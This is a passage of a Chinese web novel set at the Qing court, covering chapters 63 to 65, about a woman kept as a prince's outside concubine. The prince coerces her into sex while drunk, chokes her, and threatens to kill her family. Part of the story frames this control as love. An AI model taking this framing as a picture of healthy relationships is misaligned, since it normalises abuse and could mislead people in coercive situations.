乌锦才不疑有他,继续喝下去。
四阿哥还没走,乌锦喝完后回头看他,再次问他想不想在这里用膳。
“摆上来吧。”
乌锦示意瓜嬷嬷把午膳摆上来,两人面对面坐着,她的日子无聊,日复一日,已经没什么可说的,只是两人都不说话,她觉得太安静,于是就说起上个月碰到多兰的事。
“听说预产期是明年二月,我给她送了长命锁。”
“她先前那样对你,你为何还要给她没出生的孩儿送礼?”
乌锦说道:“多兰性子娇纵,但也不是坏人,冤家宜解不宜结,我们之间交集不多,没必要结仇,况且也不是多厚重的礼。”
她都知道没必要结仇,那她对他倒是一点都不留情,多兰多次刁难她,她都能宽恕,对他却下死手,胤禛深深地看她一眼,没有把心里话说出来,只是说了一句挺好的,多兰应该会记得她送的礼,往后不会再为难她。
乌锦哪里知道他心中所想,她不过是想打破沉默而已,她又问他年底忙不忙。
“嗯,户部年底事多。”
乌锦知道他被皇上分去户部当差,年底事多,他会不会少过来。
“又在想什么?是不是觉得我事多就不会过来找你了?”
被猜中心思的她只能虚虚地笑着:“我巴不得爷日日过来,我想天天见到主子爷。”
胤禛轻哼一声,没拆穿她。
乌锦想着说多错多,干脆安静吃饭。
吃好之后,四阿哥终于走了,她松一口气。
本以为四阿哥年底事多,但他还是隔三差五过来,而且在宅子里安置一书房,他有时候在书房处理公务,在她这里的日子越来越多。
她寻思着他这么频繁出宫,福晋她们没有意见嘛?
她管不了四阿哥,只能任由他去,他想来就来,好在他不会在这里过夜,她也发现四阿哥对她越来越……温
柔,很多时候会顺着她,在床上也是如此,不会再施虐。
他越是这样,她心里越不安,总觉得他在下一盘大棋。
她就在这种惴惴不安中过了年,过年的时候,四阿哥才没有过来找她。
这日子过得快,眨眼间又一年过去。
这年刚过,小舅家又出事,小舅妈过来哭诉,说小舅又要纳妾,原先小舅就纳了一个吴姨娘,现在又准备纳一个,小舅妈说那女子是小舅的下属送给他的。
如今小舅是参领,对底下那些人,他也有任免的权利,自然有人想巴结他。
小舅妈想让她额娘去劝劝小舅,别什么人都收进来,虽说参领的月俸多了,但家中已有三个孩子,花银子的地方太多,月俸只勉强够过日子,家中再添人口,那就得勒紧裤腰,省吃俭用过日子了。
只是她额娘劝了不管用,小舅执意要纳妾,认为这是他自己的事,他就是纳妾而已,又不是做什么伤天害理的事,她们不该管他。
小舅上回伤好之后是消停了一阵,不敢再去酒楼喝酒闹事,也安分一阵子。
乌锦已经不大想管小舅的事,小舅妈让她去劝小舅时,她就拒绝了,纳妾这一事,小舅若是执意要纳妾,她身为晚辈是管不了的。
反正过了年,小舅就真的把人纳进来了,小舅妈阻拦都没有用。
乌锦让她额娘少往小舅家贴补银子,不然小舅总以为他那点月俸能养活一大家子,他知道银子不好挣,自己都吃不饱穿不暖,也许就不会想着频频纳妾。
这妾是纳了,小舅妈生气,带着表弟表妹到乌家住着,说是不愿意回去伺候小舅,正好让小舅刚纳的小妾伺候他。
也好在乌锦住在宅子这边,四阿哥又常来,她让家里人别过来她这边,免得碰到四阿哥,只是家里发生的事也会传到她耳中,她难免心烦。
许是她这几日情绪不高,四阿哥也看出来,问了一句,乌锦说是家中琐事,不值得跟他提。
“你家中的事是不少,你既然如此烦心,不如跟我说说。”
乌锦觉得不是什么大事,便跟他说了,看向他:“爷可有解决之法?”
“男子纳妾天经地义,你小舅妈应该想开。”
乌锦翻了一个白眼,说道:“天下乌鸦一般黑。”
胤禛轻笑,这事的确没有什么好的解决办法,他过去把她拉到怀里,贴着她耳朵道:“我跟你小舅不一样。”
“我小舅只是纳妾,你可是光明正大地养外室,你比他还过分,你好意思说你们不一样。”
胤禛没法反驳,又觉得她怎么能把他跟她小舅相比,她小舅可是无用贪色之人,别人给他送女人,他就收下了,这样的人的确不适合当大官,属于贪官,不过水至清则无鱼,能当大官的人或多或少都是贪的。
“至少别人给我送女人,我不会收。”
“那选秀不就是属于别人给你送女人,你不是都收了吗?”
胤禛一时语塞,然后说那是皇命不可违。
“你这脑袋瓜子里装的都是什么。”
乌锦继续翻白眼:“我说的难道不对吗?你这是说不过我,你们男人都是如此,吃着锅里看着碗里。”
被骂进去的胤禛笑着看她,摁住她的眼皮:“这眼睛再往上翻就只看到眼白了,成斗鸡眼了。”
“胡说,斗鸡眼又不是眼睛往上翻。”
“不是吗?你做一个给我看看。”
乌锦才没有那么傻,听他的话乖乖照做,她只是把他的手拿开,她对上他的眼睛,距离近了,她感觉到四阿哥很温柔地注视着她,她垂眸避开。
他很快亲上来。
两人又恢复成以前相处的模式,至少有说有笑,她面上不会怕他,他不发疯的时候是温和的,像一对老夫老妻,数一数日子,她当他的外室也有三年之久,的确算得上“老夫老妻”。
小舅妈他们在乌家住了一段时日,最后还是回去了,毕竟不是自己家,住着也不习惯。
……
康熙三十八年二月初,皇上准备御驾亲征的消息传出,这是皇上第三次御驾亲征讨伐噶尔丹,她阿玛跟小舅都接到随队出征的军令。
这下小舅纳不纳妾成为无关要紧的小事,阿玛跟小舅这是要上战场,刀剑无眼,先前连佟国纲这个国舅爷都能死在战场上,更何况是阿玛跟小舅这种小官。
清兵前线作战不比皇上等人在后头领兵指挥,那是实打实要冲锋上阵,死伤无数的。
三月一日便要从京城出发,还剩下不到一个月的时间,这是圣令,他们没有拒绝的权利。
乌锦回趟家,发现额娘她们都是愁容满面,她额娘让她问问四阿哥,有没有什么办法让她阿玛不随着一起去。
乌锦跟四阿哥探口风时,四阿哥说这是皇上的旨意,哪怕他是皇子也无法更改,各旗各营出多少人都是有定数的。
“不过你若想你阿玛留在京中,也不是没有办法。”
乌锦趴在他身上,一听这话就抬起头:“什么办法?”
“从名单上划去就行。”
“怎么划去?”
乌锦见四阿哥眼神幽幽地看着她,她只好央求道:“爷,求爷帮帮我,我阿玛年纪大了,我害怕他出事,求求你了。”
说她自私也好,乌锦不想让她阿玛上前线作战。
“你给我生个孩子吧。”
此话一出,乌锦就整个人僵了一下,愣愣地看着他,先前他说她不配怀上他的孩子,是什么导致他想法变了,她有点不敢深入地想这个问题。
“爷,你忘了,我只是外室,外室生的孩子算什么,私生子,爷打算认这个孩子吗?”
“你别管我认不认,你先给我生个孩子,乌锦,你明白我的意思,我知道你很聪明。”
乌锦从他身上起来,不敢对上他的眼睛,孩子是什么,那是一条生命,那是一个活生生的人,她不愿意她的孩子横亘在她跟他之间,那注定是悲剧,她自己的命都由不得自己,又何苦把一个人带来这世上重复她的命运。
“你先前说过的,我不配生你的孩子。”
“我现在又不怎么想了,乌锦,你看着我。”
胤禛也起身,双手放在她肩侧,将她扳正过来,跟他面对面:“乌锦,有了这个孩子,你就不会是外室了,你明白我是什么意思。”
乌锦摇头,否认道:“我不明白,我不明白,我什么都不明白,孩子,我不会生,你休想再强迫我一回,是你说的,我不配生你的孩子,你亲口说的,我不明白四阿哥是什么意思,四阿哥不要再作弄我了。”
见他还想说什么,乌锦干脆捂住自己耳朵,什么都不想听,她心里涌出一股绝望,总觉得这个人永远都不会放过她了,他想用孩子囚禁她。
胤禛盯着她,脸色已经沉下去,她避如蛇蝎的样子让他狠狠皱眉,多少女子想攀附他,偏偏她一副避之不及,厌恶痛恨的样子,他晓得她明白他话中的意思,等她有了孩子,她就可以成为真正的主子,他给予她的已是最大的恩赐,她还有什么不满。
一股心头火直直窜上来,他又怒又恨,为了避免伤她,他拼命将这股怒火压下,他几乎是咬牙切齿道:“乌锦,我给你几日想清楚,这世间有多少女子想怀上皇嗣,你别得寸进尺!”
“那你让她们怀上你的孩子,别找我,我不要怀上你的孩子,你别痴心妄想了,我就是怀上了,我也会让这个孩子流掉。”乌锦有些崩溃地怒吼道。
胤禛脸色突变,眼神狠厉,好得很,好得很,这才是她的真心话吧!
他是真的想掐死这个女人,但最后还是忍住,他直接起身离开。
第64章第64章更新
第64章
乌锦在四阿哥离开后仍然坐在床上,她忽而想到什么,急急唤谢嬷嬷进来,让她把避子汤给她端过来,她也顾不上避子汤还烫着,只想喝下去以绝怀上孩子的可能。
她不能怀上孩子,孩子是无辜的,他
究竟想干什么,要惩罚她?用孩子把她绑住?她只觉得心脏突突地跳,脑子很乱,甚至觉得浑身都难受,她让谢嬷嬷给她备热水,她将自己泡在木桶中快两刻钟才出来。
她重新回到床上坐着时,才稍微冷静一点,她不能怀上孩子,怀上孩子后,她就彻底逃不开他了。
可是她又能怎么办,他怎么会死不掉,下毒都毒不死他,乌锦第一次生出绝望感,将脸埋在被子里无声痛哭。
日子还是要照常过,那人许久没过来,三月一过,随驾出征的队伍先后离京,乌锦的阿玛跟小舅最后还是没有在随驾的名单上,留在京城,她知道那个人还是帮了他们。
三月六日,酉时三刻,临近傍晚,天快黑了,乌锦已经用过晚膳,沐浴完后的她在屋内看书,听到脚步声,她还以为是谢嬷嬷进来了,没有抬头,直到人走近,她闻到一股酒气,抬眸便是见到四阿哥。
她愣了一下,他从来没有这么晚过来过,天都快黑了,他怎会过来,他脸色阴沉,她刚想开口说什么时,人就被强拽起来,被拉着往床边去。
“爷,你喝多了。”
“我清醒得很!”
话虽是这么说,但乌锦闻到浓浓的酒味,她被压住,下意识想挣扎,推开面前的人,只是他将她的手反到身后。
“你不想吃苦头就别动。”
低沉的嗓音传来,乌锦就认命地不动,本来就快入睡了,她穿得不多,外衣很快被剥开,系在脖颈上的肚兜也被解开。
酒味呛人,更何况是从他口中出来,她很是嫌弃,不愿意张开嘴,只想快些过去。
“张嘴。”
乌锦摇头,实在受不了这味,只是这人说一不二,硬是用手掰开她的嘴巴,吻了下来,她忍着恶心,她还以为她这次又要受伤,但还好没有,他就是略带强势地来了一次,没有伤她。
事后,乌锦让谢嬷嬷把避子汤端来,她刚拿着想喝时,这人突然发疯,夺过她手中的那碗避子汤,摔碎在地。
汤药的苦味顿时蔓延在房间中,他指着谢嬷嬷让谢嬷嬷滚出去,然后对着她说道:“乌锦,看来你没把我的话听进去。”
“爷,你在说什么?”
乌锦下巴被擒住,她对上他阴狠的目光。
“我说什么?少给我装傻充愣,乌锦,这个孩子,你不想生也得生!”
乌锦见他又提孩子的事,铁了心要她生孩子,她自己也莫名一股火上来,冷笑出声,愤恨道:“我偏不生,只要我活着一日,孩子就不会从我肚子里出来,你以为我喝了两年避子汤还会有孩子吗?你有那么多女人,让她们给你生啊,逼我做什么?外室是你逼我当的,现在又想要我当主子,唱戏的都没有你会变脸。”
胤禛就知道这女人冥顽不灵,他还以为给她一个月,她就能想清楚,结果就是茅坑里的石头又臭又硬。
“乌锦,我没死,你是不是很失望?”
乌锦听到这话还是有点诧异,原来他早就知道了,他知道她下毒害他,事到如今,她反而不怕了,盯着他肯定道:“是啊,我很失望,怎么没把你毒死,那可是毒药,竟然没把你这个祸害毒死。”
“好得很,当真是你,谋害皇子,你可知你犯的可是死罪,株连九族的死罪,你跟你家人通通都会被处死,你就不怕吗?”
听到乌锦承认是她下的毒时,胤禛还是怒到手发抖,真是恨不得掐死这个女人,她怎么敢,怎么敢!
乌锦呵呵直笑:“四阿哥,你扪心自问,你敢对天发誓,你没想过杀我吗?没想过杀我全家吗?你想过留我性命吗?我于你而言,不过是闲暇时逗趣的猫狗,是你情绪发泄的工具,等你腻了,你一定会杀了我,你没想过给我留一条活路,我不杀你,死的人也会是我,那我为何不先杀了你!我不后悔给你下毒,我只后悔这毒下得不够重,让你被救活。”
胤禛死死盯着她,目光森然冰冷,他掐住她脖子,冷声道:“你找死是不是?”
“怎么,恼羞成怒了?被我说中了?死有何惧,人固有一死,有本事你就杀,直接掐死我,反正于四阿哥而言,我也不过是卑贱的外室,我的命如同蝼蚁,不值一提,我就当是活到半路遇到狗了。”
“我想过杀你,但我从来没有下手杀你,乌锦,这三年,你对我当真没有半点情意?”
“情意?四阿哥难道对我有情意?”
“我若说我有呢。”
乌锦仿佛听到天大的笑话,直接大笑,笑着笑着就哭了,又哭又笑道:“哈哈哈,四阿哥,你的情意,我可受不起,原来四阿哥喜欢一个人是这样的,喜欢我就硬压着我的腰,逼迫我当你的外室,一次两次伤我,以我的家人要挟我不得反抗,摁着我的头让我像个奴才一样对你唯命是从,我没遇到四阿哥之前,我好歹活得自在,活得像一个人,而不是一条狗,要对着主人摇尾乞怜,你的喜欢只会让我觉得恶心,从所未有的恶心。”
乌锦像一记耳光扇在他脸上,他知道自己先前逼她当外室还有伤她,算是委屈了她,她难免生出恨意,所以她才给他下毒,想杀他,他想着若是他改了呢,他待她好,不再伤她,在床事上对她温柔,也不计较她下毒害他之事,相互抵消,她会不会因此喜欢上他,然后心甘情愿地待在他身边。
他长这么大还是第一次喜欢上一个女人,他承认他最开始只是把她当情绪发泄的玩物,也的确是想结束后杀她灭口,可是慢慢的,他发觉到自己喜欢上她,就没有这种念头了,他从未付诸行动。
比起其他人是皇阿玛等人指婚到他身边,她是他自己第一眼看中的,亲自挑选的人,跟皇阿玛无关,跟宫中其他人无关,他是真的对她有几分喜欢,不然就凭她下毒害他,她跟她的家人可以死好几回了,是他宽宏大量放过他们。
只是没想到这三年,她当真是没有半点真心,全是骗他的,没有一句实话,还责怪他当初逼迫她当外室,还说他是戏子,他哪有她会演戏变脸。
胤禛气得要死,这个女人不识抬举,不知好歹,掐死她算了,不然只会让自己气死,他掐着她的脖子,力道收紧。
这女人还一副不怕死的样子,梗着脖子地看着他。
他气到身子发抖,最后还是下不了手,把手松开,他沉声道:“不管你愿不愿意,你死也要死在我身边,恶心也得忍着,不然我杀了你全家,为了你你家人的性命,你最好是给我乖一点,别耍什么手段,不然你就等着给他们收尸吧。”
胤禛威胁完后也没有离开,就直接躺下来,扯过被子盖住自己的身子,一副要安寝的样子。
乌锦方才又哭又笑,像个疯子一样质问他,可见他吵完跟个没事人一样躺下来,她反而一口气堵着上不去下不来。
他到底是什么意思,知道她下毒害他,他就这样放过她,就因为他说他对她有几分情意,他喜欢上她了?
她才不信他会喜欢她,他不知道又是耍什么花招折腾她,这个人是个疯子,见他躺下,她瞥了一眼地上的狼藉,她方才避子汤还没喝,她当着他的面把谢嬷嬷叫进来,让她另给一碗避子汤给她。
谢嬷嬷有些犹豫,瞥了一眼床上的人,见四阿哥不开口,她还是应声好的,又出去端避子汤。
乌锦不喝避子汤就不会入睡,那人也没有阻止她,许是他本来就喝多了过来,又做了一次,吵了一架,人就累了,他已经闭上眼睛,又不发疯阻止她喝避子汤。
第二碗避子汤喝下之后,乌锦又重新沐浴净身,漱口过后没有跟他躺在一张床,而是直接在外间的铺炕上入睡。
许是这半年来悬着的一桩心事今日被揭开,不管他是恨她还是厌她,他目前没有杀她之意,她反而很快睡着,不去想他说他喜欢她的话,她才不信他喜欢上她,即便是有,男人的喜欢本来就微不足道,不过尔尔,他今日说喜欢你,明日可能就想杀你。
屋内静谧,外面夜幕降临。
苏培盛在外面等了好一会不见四阿哥出来,心中有些焦急,四阿哥这是不打算回宫了?
“苏公公,主子爷跟苏姑娘都歇下了。”
苏
培盛头疼,四阿哥还真就在这里过夜,这还是头一回,以前四阿哥来得勤,但从未在这里过夜,虽说四阿哥这么大个人,在宫外过夜这事说大不大,说小不小。
也好在皇上他们已经出征了,太子留下来监国,在宫外过夜这事,应该是福晋等人会问起。
苏培盛无奈道:“那算了,别扰主子爷歇息了。”
“苏公公,你要不要也去歇一歇,我收拾一间房给苏公公。”
苏培盛摆摆手,他哪敢去歇息,不得守在门外等主子爷传唤,他让谢嬷嬷给他拿来一床被子,他就在门外过夜。
谢嬷嬷不仅仅拿来一张椅子跟一床被子,还烧了一盆炭放在门口处,省得苏公公夜里着凉,另外两个跟着四阿哥过来的随从就到前面的倒座房歇息。
……
翌日一早,乌锦先醒,抬头没见到床帐才意识到自己是睡在铺炕上,她坐了起来,脑子还没彻底清醒,过一会儿才想起昨天的事,她跟四阿哥狠狠吵了一架,说了很多话,但毫发无损。
谢嬷嬷从外面进来,声音很轻地问她要不要用膳。
“他还没醒吗?”
谢嬷嬷摇头。
乌锦晓得那人昨晚是喝多了,才醒得晚,不然平时会很快起来,她示意谢嬷嬷先出去,早膳不用急着吃。
她坐在铺炕上胡思乱想一会,过后又觉得凭什么让他安安稳稳地睡觉,就该把他吵醒,于是她过去里间,见到床上睡得正熟的人,她故意走动发出响声。
果不其然,床上的人动了动,眼睛睁开。
昨晚是他喝多了,可能才没有跟她计较,这会要是想起她昨晚说的那些话,会不会又跟她过不去,乌锦倒一杯冷茶,坐在床沿边,温声道:“爷,醒了,先喝口茶吧。”
胤禛刚睡醒,只觉得脑子嗡嗡的,一口冷茶喝下去后他不由瞪乌锦一眼,一大早给他喝隔夜的冷茶,她真是胆子大了,有恃无恐起来了。
“怎么了?茶不好喝吗?”
“乌锦,一大早的,你找死是不是?”
动不动就以死威胁她,乌锦也有点摸清他的路数了,张口闭口让她去死,实则没那么想杀她,反而沉默寡言的时候,说不定心里在谋算着杀她灭口。
“我是想让主子爷醒酒,日上三竿了,爷该起啦,我扶爷起来。”
“几时了?”
“辰时一刻。”
“不是说不想像奴才一样伺候我,你这又是在干什么?”胤禛嘲讽一句。
乌锦再怎么跟他吵,说大逆不道的话,她心里始终明白面前的人是皇子,是四阿哥,她该伺候的时候还是得伺候,她这是说了不该说的话,想着找补回来一点,免得他真发疯。
“爷,昨晚是我不对,我胡说八道,主子爷别把我的话放心里去,我愿意伺候主子爷,主子爷喜欢我那是我三生有幸,佛祖显灵了。”
胤禛瞧着她狗腿子那样,昨天还恨不得他去死,今儿又说好话巴结他,她还说他变脸快,不过他也不想跟她僵着,总归是他有错在先,她有恨有怨也是正常,他只能徐徐图之,慢慢改变她的想法,让她喜欢上他,他不信她当真这么铁石心肠,不动凡心。
“你下毒之事,日后别向第三人提起,不然我也保不住你的命。”
“爷,我是一时想岔,还请爷原谅我一回,我以后不会了。”
“我要是不原谅你,你半年前就没命了,你以为你还能活到现在,记住我的话,别向第三人提起此事,你说我不肯放你一条生路,但我终究是没对你下死手,先前是我有错在先,但你也报复回来,我们相互抵消,互相扯平,日后你我好好相处,孩子,你既然不想生,我也不勉强你,再等过一年,贝勒府建好,你直接搬到贝勒府,在我后院当个格格,成真正的主子,你可愿意?”
胤禛抚了抚她的头发,说道。
这哪里是她愿不愿意的问题,她说不愿意,他难道就顺她的意放过她,还不是一样会强迫她,简直多此一问,他是皇子,在他那里,她的确没有说不的权利,他有意给她一个台阶,她得顺着台阶下。
“那爷也不可以旧事重提,我们就此揭过,我可以到你后院当个格格,不对,格格是什么,不是庶福晋吗?”
“格格便是庶福晋,我自有奴才伺候,不用你特意伺候,你安安生生的当个主子,我保你跟乌家人后半辈子的荣华富贵,你们全家人能平平安安的,反之,你知道的。”
应该是皇子后院的称呼跟世子有点不一样,他这话是威胁,也是事实,她那些亲戚沾了他的光才有一点前程,她阿玛跟她小舅此次能从出征的名单上划去也是因他帮忙,将来她两个弟弟的前程可能都要仰仗他,要沾他的光,人不能既要又要,乌锦知道自己只能认命了,不认不行,不认就是全家人一起死一起完蛋。
谁让他是皇子,她是普通老百姓,这大清等级分明,阶层固定得死死的,他们从出生开始就决定好了,她没有反抗的权力,算了,就这样吧,她认命了,跟他拧着来只会是自讨苦吃,从外室变成主子,能当主子总归是好事吧。
乌锦看向他,点点头:“好,等贝勒府建好,我便搬过去,主子爷给我一个独院吧。”
“可以。”
胤禛低头在她唇上亲了亲,她还算识相,没有继续折腾,识时务者为俊杰,等人入他的后院,他肯定能得偿所愿,他本就喜欢她的性子,也无需她特意改变。
乌锦嫌弃地皱眉,推了推他:“爷,好臭,你先漱口吧。”
胤禛也没有生气,只是捏了捏她的脸,让她把谢嬷嬷叫进来,给他打水漱口。
过了两刻钟,两人坐在一块用膳,膳桌上摆了四菜一汤。
昨日的剑拔弩张变成今日的“言归于好”。
乌锦问他贝勒府何时能建好,他说因为皇上要御驾亲征,一部分银两都用在这次亲征上,给几个阿哥建府的银两还没有下来,所以这贝勒府可能要个一年才能建好。
“不用着急,你已经是主子,我不会反悔的。”
“你还是得每个月给我二十两银子,真入了你的后院后,我恐怕也不能经营我那铺子了,我不大喜欢跟在人身后要钱,你记得主动给我。”
胤禛没好气地看着她,她都能当主子了,往后每个月可能都不止二十两银子,她怎么还惦记这二十两,真是目光短浅。
“我知道了,你真是掉钱眼了。”
管他怎么说,她荷包满了就行,乌锦主动给他夹一块肉。
“我可不敢让你伺候,省得你说我把你当奴才。”胤禛把那块肉还回来。
乌锦正色道:“不是说了别旧事重提嘛,你怎么还记得我说过的话,让你吃你就吃,我不是奴才是什么,你跟我,你说谁才是主子,就你跟你皇阿玛,谁才是真正的主子,我也没说错啊。”
“你说话注意点,皇阿玛是你能随便说的嘛,这要是在宫里被人听到,少不得罚你一顿。”
“这里只有我们两个人,况且我也不住在宫里。”
胤禛一想也是,等贝勒府建好后,她直接搬去贝勒府,而不是搬去宫里,不在宫里住是好事,他自己都想早点搬到宫外,在宫里人人都得磨去部分性子,变得圆融谨慎,他反倒不希望她变成那样,奴才样是他不喜欢的,皇阿玛虽是他的阿玛,但也是天子,他跟皇阿玛之间一定要有一人是奴才的话,那一定是他。
他又把那块肉夹回来。
用过早膳后,胤禛才离开。
一直在房间外候着的苏培盛见到四阿哥出来,忙不迭地跟上去,心想终于出来了,他觉得乌姑娘肯定会变成主子的,他得敬着点,不过乌姑娘这三年来对他也是恭恭敬敬的,没摆过主子的谱,就不知道真的成了主子会不会换一副面孔,他跟着四阿哥这么多年,在宫里也待了多年,见过的人太多,有些人成了主子后对奴才就没有好脸色了,除非有事想巴结奴才,不然他们大多高高在上的。
马车停在宅子外,他们坐上马车回宫。
……
“福晋,主子爷回来了。”奴才进来通禀。
乌喇那拉氏正拿着拨浪鼓逗弘晖,一岁两个月的弘晖已经可以自己坐着了,她听到奴才的话,只是嗯了一声,挥挥手让奴才出去,她继续逗着弘晖。
“弘晖呀,我是额娘,叫额娘,额……娘……”她试图教弘晖说话。
“嗯嗯……”一岁的弘晖还是只会嗯啊,气音多一些,还不会说整字,他的小手伸出来想要抓拨浪鼓。
乌喇那拉氏慈爱地看着弘晖,将拨浪鼓放到他手中,教他怎么摇,弘晖拿着拨浪鼓后就自己玩起来,她才开始想四阿哥昨夜彻夜未归的事。
四阿哥从午时就出宫,出宫做什么,她不得而知,但彻夜不归还是第一回,她等了一夜也没等到四阿哥回来,今早让人去打听才知道四阿哥昨天跟简世子去酒楼喝酒了。
喝酒而已,喝酒后依旧可以回宫,不回宫,他能歇在何处,是乌氏那里还是章佳氏那里,应该是乌氏那。
额娘让她不用太担心一个外室,她是福晋,又有弘晖,按理说不该担心一个外室,只是四阿哥的异常让她不得不担心,她是从未见过四阿哥对女人上心,她这个福晋也不例外,偏偏一个乌氏让他做了许多先前不会做的事。
要说四阿哥对乌氏没有上心,她是不信的,三年了,养条狗养三年还有情分呢,更何况是人,三年不算短了,三年四阿哥都没腻,多多少少能说明四阿哥对乌氏的喜欢。
乌喇那拉氏忍不住叹口气。
“额……”
弘晖开口说话让乌喇那拉氏思绪拉回,又笑着逗弘晖。
第65章第65章更新
第65章
乌锦晓得自己要进四阿哥的后院,四阿哥说还有一年建好贝勒府,一旦真正入贝勒府,肯定不如自己住在外头自由,也就意味着自己不能随随便便就回家。
她得先安排好家里的事情,首先是彩玉的亲事,虽说阿玛他们已经认彩玉为女儿,只是别人稍微一打听加上媒人那边一说实话,都会知道彩玉真实的身世,家世稍好的人就看不上彩玉,差的他们看不上。
媒人说了好几个人,乌锦都不是特别满意,姑母听说她想给彩玉寻一门亲事,又说到一个人——-李兴亮,李夫人的堂侄,先前李夫人要撮合她跟李兴亮的,他妻子诞下一子后身子不行就早逝了。
姑母说李兴亮还没有娶妻,如今已经是随旗行走的三等侍卫,出身上三旗,身边只有一小妾,但彩玉若是嫁过去便是当妻。
姑母说这也是李夫人的意思,李家那边不嫌弃彩玉的身世,对彩玉而言,这算是高攀,乌锦觉得这是一门不算太差的亲事。
于是她跟姑母约好,挑个日子让两人先见一面,姑母回去跟李夫人商量,最后直接约在简亲王府见面。
到了约定的日子,乌锦给彩玉打扮,让她换上旗装,给她戴上流苏式金镶珠翠耳坠、过后,她们一家人坐上赵师傅的马车去往王府。
“小姐,我有点紧张。”
乌锦笑着握了握彩玉的手,说道:“紧张什么,不喜欢可以直接说,反正乌家永远是你家,有我们给你撑腰。”
小娘也笑道:“彩玉,没什么好紧张的,有我们呢,我们会一直在你身边。”
彩玉回握住自家小姐的手,紧张感减少一些。
到王府侧门前,还是冬雪站在门口迎她们,把她们领进去。
乌锦已经不记得上一回过来王府是什么时候的事,她逢年过节依旧会给李夫人送礼,不过都是让小娘她们送过去,她不会亲自过来。
等到李夫人所住的映月苑时,李夫人也已经在此等候,起身迎她们,示意她们上座,茶水点心很快奉上,而男方的长辈等人坐在另一边。
李夫人算是两家的媒人,给他们互相介绍,初次见面还谈不上是真正说亲,所以只是聊一下双方家中有何人,称赞男女双方。
乌锦记得自己见过李兴亮一次,不过是两年前的事,太过久远,已经不大记得他的长相,今日有意观察对方的言行举止,还算稳重,他说话不多,基本上双方长辈在说话。
李夫人也有意让李兴亮跟彩玉单独相处一会,便让冬雪领他们两个到王府花园那边走一走。
彩玉望向她,乌锦跟她点点头后,彩玉才跟着李兴亮一起出去。
李夫人说道:“虽说兴亮有一子,不过那孩子如今放在她额娘身边养着,彩玉真的嫁过去后不用亲自抚养那个孩子,那个张氏也是很本分的,彩玉是明媒正娶的正妻,张氏会很敬着彩玉,我瞧着彩玉是个好孩子,两人年纪也相差不大,日后肯定能好好相处。”
张氏是李兴亮的小妾,这里的男子三妻四妾已是很正常的事,连她小舅都有两个小妾,更何况已经是三等侍卫的李兴亮,乌锦顺着李夫人的话说道:“他们若是相互喜欢是再好不过,嫁人娶妻都是盼着日子过得和和美美。”
“可不是嘛,日子过得好才有盼头。”
等彩玉跟李兴亮回来,这次见面才算结束,双方都互相赠礼,面上扬着笑回去。
“福晋,那彩玉姑娘只是一无父无母的丫鬟,何德何能能配得上李公子。”冬雪忍不住说道。
李氏看了一眼冬雪,说道:“你懂什么,她虽无父无母,但她命好,跟了乌锦这个主子,乌锦跟她情同姐妹,待她亲厚,乌家当她是半个女儿,他们乌家已经算是一人得道,鸡犬升天,乌家倚靠着四阿哥,已经今非昔比。”
“可乌姑娘只是四阿哥的外室啊。”
“外室?能当三年外室,早晚也会成主子,你等着看吧,这门亲事不算是我们吃亏,将来好处多着呢,这人的目光得放长远一些,等乌锦真的成了主子,我们想再攀上就难了。”
李氏说自己没有私心是假,李家不比什么钮祜禄一族、佟氏一族等京中贵族,李家出的最大的官就是一五品千户,其实根基很浅,自从乌锦跟了四阿哥后,乌家那些亲戚升官的升官,得势的得势,四阿哥已经被封为贝勒了,再过几十年肯定是亲王。
彩玉只能算是半个丫鬟,她从小在乌家长大,乌锦把她当妹妹,也有很多人给彩玉说亲的,乌家看不上,说明乌家不仅仅是想把彩玉嫁出去,还要嫁得好,是真心为彩玉着想。
兴亮若是娶了彩玉,将来说不定也能沾四阿哥的光,李家因此得势,作为她的娘家得势对她的孩子也有益处。
李氏不觉得这门亲事李家是吃亏的,能不能成还要看乌锦的想法,她许久不见乌锦,今日见到的乌锦总觉得多了不少贵气,跟在四阿哥身边久了,她已经有当主子的气势了。
乌锦这边上了马车就问彩玉的想法,彩玉若是不喜欢,这门亲事自然就不会往下推进。
彩玉难得有些害羞,说她跟李兴亮没聊什么,只是问他孩子的事。
“他怎么说?”
“他说孩子刚满三岁,会说话了。”
“就说这些?”
彩玉点点头。
乌锦晓得两人初次见面,可能是害羞,也可能是古人比较含蓄,他们也只是出去一小会,说的不多也正常,她问彩玉是怎么想的,对李兴亮满不满意。
“还……还行。”
乌锦跟小娘对视一眼,还行说明彩玉对李兴亮没有反感,这门亲事可以再往下商量。
过了几日,李家那边来人,两家人又坐在一块聊半天,最后定下下聘礼的日子,这门亲事算是确定下来。
一天傍晚,一家人吃过晚饭后,乌锦把她家里人聚在一块,跟他们商量铺子的事,她跟他们说等贝勒府建好后
,她就会入四阿哥的后院,往后铺子那边需要有人接替她,她可能没有那么多时间放在铺子这边,也不会再接绣活。
彩玉嫁人后,这铺子可能又少一个人忙活。
他们家不像别人家有那么多铺子庄子,唯一的铺子就是绣秀苑,乌锦倾向于留着铺子,反正铺子里还有别的绣娘可以接活,小娘负责看管记账。
“那桃子,你进四阿哥的后院是不是意味着你可以当主子了?”小娘问道。
“四阿哥说我可以当个庶福晋。”
小娘顿时有些激动,哽咽道:“庶福晋好,庶福晋也是主子,能当主子总归是好事,铺子的事就交给我跟你额娘,我们两个人忙得过来的,乌安跟乌明他们两个已经大了,不需要我们时时看着。”
一家人对于她能当主子这事都是高兴的,在他们眼里,她既然已经跟了四阿哥,有名有份总比当无名无份的外室好,入了贝勒府也算是过了明路,以后就是四阿哥的人。
乌锦手里头有不少存银,有一部分她打算留给彩玉当嫁妆,彩玉手里头有银子也能在夫家有底气一些。
“小姐,我不能要,我自己也有银子。”
“你自己的银子是你自己的,这些是我给你的嫁妆。”
小娘她们也劝彩玉收下。
乌锦给家也分了一部分。
小娘说道:“你都给我们了,那你怎么办?你更需要有些银子傍身,哪能全给我们。”
“没有全给,我那里还余下一些,我真进了贝勒府,到时候有人伺候,又住在府里,应该花不了多少银子,你们就收着,我真需要银子的话,你们再还回来给我就是。”
乌锦交代得差不多后才让他们各回各房歇息。
她额娘不放心,过后又折回来,说看她架势还以为是交代后事,问她是不是四阿哥那边出什么事了。
乌锦笑着摇头说没出什么事,四阿哥是真的要她进府当主子。
“那他对你好吗?”
“挺好的,额娘别担心,我真的没事。”
完颜氏心疼地看着自己女儿,当娘的总能看出自己的孩子是不是心甘情愿,这事自家女儿不情愿也没有办法,谁能跟皇家抗衡,为了乌家,女儿是委屈了自己。
“额娘,这是好事,多少人求之不得呢,你们不是说了算命先生说我是富贵命嘛,算命先生没算错,日后你女儿就是真正的主子了,不用母凭子贵也能成主子。”
